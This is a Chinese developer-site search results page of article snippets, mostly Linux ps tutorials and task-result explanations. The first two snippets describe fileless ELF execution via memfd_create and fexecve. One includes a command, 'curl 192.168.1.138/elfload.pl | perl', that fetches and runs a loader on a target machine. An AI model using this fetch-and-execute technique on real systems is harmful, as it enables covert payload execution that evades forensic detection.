首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Linux文件渗透执行ELF

01 简介 在进行Linux系统的攻击应急时,大家可能会查看pid以及/proc相关信息,比如通过/proc/$pid/cmdline查看某个可疑进程的启动命令,通过/proc/$pid/...02 技术核心 这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...这就是可以被攻击者所利用的,如果有办法将需要执行elf通过memfd_create(2)写入内存中进行执行的话就可以达到我们的目的。 ?...第三部分就是执行该文件了,调用exec函数执行该匿名文件 ? 这里我们最后的EXP就生产好了,我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?...参考: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html http://man7.org/linux

5.5K80

linux文件执行— fexecve 揭秘

继续2020年的flag,至少每周更一篇文章,今天讲linux文件执行。...文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux文件执行的技巧,是后台朋友给我的提醒,万分感谢,又学到了新的东西。...linux文件执行,首先要提到两个函数:memfd_create 和 fexecve。...fexecve的实现 今天不谈memfd_create,这是linux的新特性,没有什么好玩的,本人对fexecve 的实现很有兴趣,因为fexecve是glibc中的函数,而不是linux的系统调用。...对fexecve_test.c 进行编译并执行,可以看到/dev/shm下面确实生成了wurstverschwendung文件。 ? 调试角度 fexecve是如何执行内存中的文件呢?

4.7K40
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    linux ps

    其他实例 linux上进程的几种状态 R(TASK_RUNNING),可执行状态&运行状态(在run_queue队列里的状态) S(TASK_INTERRUPTIBLE),可中断的睡眠状态,可处理signal...ps命令用来列出系统中当前运行的那些进程。ps命令列出的是当前那些进程的快照,就是执行ps命令的那个时刻的那些进程,如果想要动态的显示进程信息,就可以使用top命令。...总之大部分信息都是可以通过执行该命令得到的。 ps 为我们提供了进程的一次性的查看,它所提供的查看结果并不动态连续的;如果想对进程时间监控,应该用 top 工具。 kill 命令用于杀死进程。...PPID 则是其上级父程序的ID C CPU 使用的资源百分比 PRI 指进程的执行优先权(Priority的简写),其值越小越早被执行; NI 这个进程的nice值,其表示进程可被执行的优先级的修正数值...在Linux系统中,系统调用fork可以创建子进程,通过子shell也可以创建子进程,Linux系统中进程之间的关系天生就是一棵树,树的根就是进程PID为1的init进程。

    4.5K52

    Linux 命令 | ps

    Linux 命令 ps 命令解析 ps 命令是 Linux 中用于列出系统中正在运行的进程信息的命令,一般形式如下: ps [选项] 选项说明: -e或者--everyone:显示所有进程。...为方便读者理解,林一写个具体 demo: ps -ef | grep sshd 作用:使用 ps -ef 命令列出当前系统中所有进程,并使用管道符将输出结果传递给 grep 命令,以过滤出包含“sshd...ps -ef | sort -nrk 4 | head -n 5 作用:列出当前系统中所有进程,按照第四列(CPU使用率)的逆向顺序排列,然后仅显示前五个结果。...Linux 命令 ps 命令注意事项 读者在使用 ps 命令时,要注意提供正确的选项和参数,否则可能会输出错误的结果。...ps 命令默认显示当前用户的进程,如果想要显示所有进程,需要使用 -e 选项;ps命令只列出正在执行的进程,如果需要查看所有的进程,可以使用 top 命令。

    22710

    获取任务的执行结果

    也说了,线程池的实现天生也实现了异步任务,允许直接向线程池中进行任务的提交与结果获取。 但是,我们始终没有去深入的了解下,异步任务框架对于任务执行的进度是如何监控的,任务执行结果该如何获取。...那么,本篇文章就来详细地探讨下异步框架中,关于任务执行过程中的一些状态以及执行结果反馈的相关细节。...outcome 是任务执行结束的返回值,runner 是正在执行当前任务的线程,waiters 是一个简单的单链表,维护的是所有在任务执行结束之前尝试调用 get 方法获取执行结果的线程集合。...如果任务已经开始将退出方法逻辑的执行 调度任务执行,调用 call 方法 调用成功将保存结果,异常则将保存异常信息 处理中断 这里需要额外去说一下,第三步中的 set 方法除了会将任务执行的返回结果设置到...我们向线程池提交了一个任务,这个任务的工作量不大,就是睡觉然后返回执行结果

    1.4K10

    Linuxps命令

    Linux中的ps命令是Process Status的缩写。ps命令用来列出系统中当前运行的那些进程。...ps命令列出的是当前那些进程的快照,就是执行ps命令的那个时刻的那些进程,如果想要动态的显示进程信息,就可以使用top命令。...总之大部分信息都是可以通过执行该命令得到的。 ps 为我们提供了进程的一次性的查看,它所提供的查看结果并不动态连续的;如果想对进程时间监控,应该用 top 工具。 kill 命令用于杀死进程。...ps aux 和ps -ef 两者的输出结果差别不大,但展示风格不同。aux是BSD风格,-ef是System V风格。这是次要的区别,一个影响使用的区别是aux会截断command列,而-ef不会。...当结合grep时这种区别会影响到结果。 原文链接:https://rumenz.com/rumenbiji/linux-ps.html 微信公众号:入门小站

    4.5K00

    Linuxps命令

    Linux中的ps命令是Process Status的缩写。ps命令用来列出系统中当前运行的那些进程。...ps命令列出的是当前那些进程的快照,就是执行ps命令的那个时刻的那些进程,如果想要动态的显示进程信息,就可以使用top命令。...总之大部分信息都是可以通过执行该命令得到的。 ps 为我们提供了进程的一次性的查看,它所提供的查看结果并不动态连续的;如果想对进程时间监控,应该用 top 工具。 kill 命令用于杀死进程。...ps aux 和ps -ef 两者的输出结果差别不大,但展示风格不同。aux是BSD风格,-ef是System V风格。这是次要的区别,一个影响使用的区别是aux会截断command列,而-ef不会。...当结合grep时这种区别会影响到结果。 原文链接:https://rumenz.com/rumenbiji/linux-ps.html 微信公众号:入门小站

    4.8K20

    Linux-ps 命令

    Linux 中的 ps 命令是 Process Status 的缩写。ps 命令用来列出系统中当前运行的那些进程。...ps 命令列出的是当前那些进程的快照,就是执行 ps 命令的那个时刻的那些进程,如果想要动态的显示进程信息,就可以使用 top 命令。...总之大部分信息都是可以通过执行该命令得到的。 ps 为我们提供了进程的一次性的查看,它所提供的查看结果并不动态连续的;如果想对进程时间监控,应该用 top 工具。 kill 命令用于杀死进程。...00:00:00 cqueue/0 ……省略部分结果 说明: 实例 2:显示指定用户信息 命令: ps -u root 输出: [root@localhost test6]# ps -u root...00:00:00 kacpid ……省略部分结果 说明: 实例 3:显示所有进程信息,连同命令行 命令: ps -ef 输出: [root@localhost test6]# ps -ef

    18010

    Linuxps命令

    1. ps命令介绍及Linux进程状态介绍 Linux中的ps命令是Process Status的缩写,ps命令用来列出系统中当前运行的那些进程。...ps命令可以列出当前进程的运行情况(状态、时间等信息)。在Linux系统中,进程有5中状态,在ps命令中分别用5个大写字母表示: R (TASK_RUNNING),可执行状态。...除此之外,还有ps命令还有一些进程状态信息: < 优先级高的进程 l 多线程状态 前台进程 L 锁定状态 N 优先级低的进程 2. ps命令用法 默认情况下,ps命令只会显示运行在当前控制台下的属于当前用户的进程...命令的结果列信息表示如下: UID 启动进程的用户 PID 进程ID PPID 进程的父进程ID C 进程生命周期中的CPU利用率 TTY 运行在哪个终端 TIME 进程已用CPU时间 CMD 进程的命令...例如ps -C test -L 显示进程中的线程,例如ps -L 123,123为进程ID -j 显示任务信息 -H 用层级显示进程,树状结构

    6.2K11

    Linuxps命令

    目录 1、简介 2、ps 命令及其参数 3、使用示例 ---- 1、简介 ps 命令就是最根本相应情况下也是相当强大地进程查看命令.运用该命令可以确定有哪些进程正在运行和运行地状态、 进程 是否结束、进程有没有僵死...、哪些进程占用了过多地资源等等.总之大部分信息均为可以通过执行该命令得到地。...2、ps 命令及其参数 ps 命令最经常使用地还是用于监控后台进程地工作情况,因为后台进程是不和屏幕键盘这些标准输入/输出设 备进行通信地,所以如果需要检测其情况,便可以运用 ps 命令了....对于 ps 地不同格式都存在着默认地顺序指定.这些默认顺序可以被用户地指定所覆盖.在这里面“+”字符是可选地,“-” 字符是倒转指定键地方向。...c cmd 可执行地简单名称 C cmdline 完整命令行 f flags 长模式标志 g pgrp 进程地组 ID G tpgid 控制 tty 进程组 ID j cutime

    3.6K20

    Task成功执行结果处理

    前言 在文章Task执行流程 中介绍了task是怎么被分配到executor上执行的,本文讲解task成功执行时将结果返回给driver的处理流程。...serializedTaskResult.isDefined) { // 在Task执行结束获得结果后到driver远程去抓取结果之间,如果运行task的机器挂掉,...// 或者该机器的BlockManager已经刷新掉了Task执行结果,都会导致远程抓取结果失败。...,若获取失败则通知scheduler进行失败处理,失败原因有两种: 在Task执行结束获得结果后到driver远程去抓取结果之间,如果运行task的机器挂掉 该机器的BlockManager已经刷新掉了...Task执行结果 获取结果远程获取结果成功后删除远程BlockManager对应的结果,则直接返回其序列化后的结果 最后将该task对应的TaskSetMagager和tid和结果作为参数通知scheduler

    1.5K40

    linuxPS1、PS2、PS3、PS4最全详解

    通过设置环境变量PS1、PS2、PS3以及PS4来自定义用户命令行的字符显示。...例如:我的机器名称为:fc4.linux,则这个名称就是fc4.linux /h 仅取主机的第一个名字,如上例,则为fc4,.linux则被省略 /t 显示时间为24小时格式,如:HH:MM:SS /T...命令行动态统计历史命令次数 PS2 一个非常长的命令可以通过在末尾加 \ 使其分行显示 PS2多行命令的默认提示符,默认值是 > PS2一般使用于命令行里较长命令的换行提示信息,比如:...当然我也有的人不喜欢分行显示命令 PS3 Shell脚本中使用select时的提示符 你可以像下面示范的那样,用环境变量PS3定制shell脚本的select提示: 不使用PS3的脚本输出...可以百度 linux超級技巧,第33章講述了ps3,ps4 PS3 The value of this parameter is used as the prompt for the select

    3.7K30

    Linux-ps命令(7)

    表示不被拥有 VSZ  (virtual size)占用的虚拟内存大小 start 该行程的状态,有以下参数: D: (down)不可中断的静止,睡眠状态(信号量就会使进程睡眠) R: (run)正在执行中...S: (static)静止状态 T: 暂停执行 Z: 不存在但暂时无法消除 W: 没有足够的记忆体分页可分配 <: 高优先序的行程 N: 低优先序的行程 L: 有记忆体分页分配并锁在记忆体内...(即时系统或捱A I/O) COMMAND 所执行的指令 (其中-sh 进程就是用来回显的,也就是说,我们在终端(串口0)上输入M,终端上就会显示M。)...ps命令构成: 它是通过proc虚拟文件系统挂接到proc目录,然后当前进程的信息会以文件的形式保存到proc目录,就可以用ps命令来查看内存中当前进程的状态了 如果没有ps命令,如何添加ps命令: mkdir...proc                      //在linux顶层中创建proc目录,用来使用ps命令 mount -t proc none  /proc     //挂载proc虚拟文件系统挂接到

    3.6K71
    领券